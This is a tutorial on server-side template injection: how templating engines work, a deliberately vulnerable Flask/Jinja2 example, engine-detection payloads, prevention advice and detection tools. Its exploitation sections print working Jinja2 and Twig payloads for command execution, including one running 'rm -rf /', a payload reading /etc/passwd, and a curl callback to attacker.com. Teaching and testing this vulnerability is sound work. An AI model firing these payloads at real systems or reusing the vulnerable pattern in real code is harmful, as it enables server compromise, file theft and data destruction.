Server Site Template Injection
Server-Side Template Injection (SSTI)
Introduction
Server-Side Template Injection (SSTI) is a critical web vulnerability that occurs when an attacker can inject malicious template directives into user inputs that are processed by a server-side templating engine. This vulnerability can lead to remote code execution (RCE), information disclosure, and server compromise.
How Templating Engines Work
Templating engines allow developers to create dynamic web pages by:
Combining static content (HTML) with dynamic data
Using special syntax to insert variables, loops, and conditionals
Processing these templates on the server before sending to clients
Common templating engines include:
Jinja2 (Python)
Twig (PHP)
Freemarker/Velocity (Java)
Handlebars/Mustache (JavaScript)
ERB/Haml (Ruby)
SSTI Vulnerability Mechanism
SSTI occurs when:
User input is directly embedded into a template without proper sanitization
The templating engine interprets injected template syntax
The server executes the malicious template code
Basic Example
Consider this vulnerable Python Flask code using Jinja2:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/vulnerable')
def vulnerable():
name = request.args.get('name', 'Guest')
template = f"<h1>Hello {name}!</h1>"
return render_template_string(template)
A normal request: GET /vulnerable?name=John
renders "Hello John!"
An exploited request: GET /vulnerable?name={{7*7}}
renders "Hello 49!" demonstrating template evaluation.
Exploitation Techniques
1. Identifying the Template Engine
Different engines use different syntax. Test with these payloads:
${7*7} # Freemarker, Velocity
{{7*7}} # Jinja2, Twig
#{7*7} # Thymeleaf
<%= 7*7 %> # ERB (Ruby)
2. Accessing Built-in Objects/Methods
Most templating engines expose internal objects:
Jinja2:
{{ ''.__class__.__mro__[1].__subclasses__() }}
Twig (PHP):
{{_self.env.registerUndefinedFilterCallback("exec")}} {{_self.env.getFilter("id")}}
3. Remote Code Execution
After identifying the engine, escalate to RCE:
Jinja2 (Python):
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
Twig (PHP):
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("rm -rf /")}}
4. File System Access
Read sensitive files:
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
Advanced Exploitation
Sandbox Escape
Some engines implement sandboxing. Bypass techniques include:
Attribute traversal: Access hidden attributes/properties
Object chaining: Chain method calls to reach dangerous functions
Global variables: Access through
__globals__
or similar
Blind SSTI
When results aren't visible, use:
Time delays:
{{ sleep(5) }}
DNS/HTTP callbacks:
{{ os.popen('curl http://attacker.com') }}
Error-based detection
Prevention
Input Validation/Sanitization:
Treat all user input as untrusted
Whitelist allowed characters
Sandboxing:
Use template engine sandbox features
Restrict access to dangerous functions
Context-Aware Escaping:
Auto-escape variables based on context (HTML, JS, CSS)
Secure Development Practices:
Avoid dynamic template generation
Use static templates with variable interpolation
Security Headers:
Implement Content Security Policy (CSP)
Detection Tools
tplmap: Automated SSTI exploitation tool
Burp Suite Scanner: Can detect basic SSTI
Custom fuzzing: With template syntax payloads
Real-World Examples
Shopify (2016): SSTI in email templates led to RCE
Algolia (2017): SSTI in search templates exposed API keys
Uber (2016): Jinja2 SSTI via Flask template injection
References
PortSwigger Research: Server-Side Template Injection
OWASP: Template Injection
HackTricks: SSTI
Last updated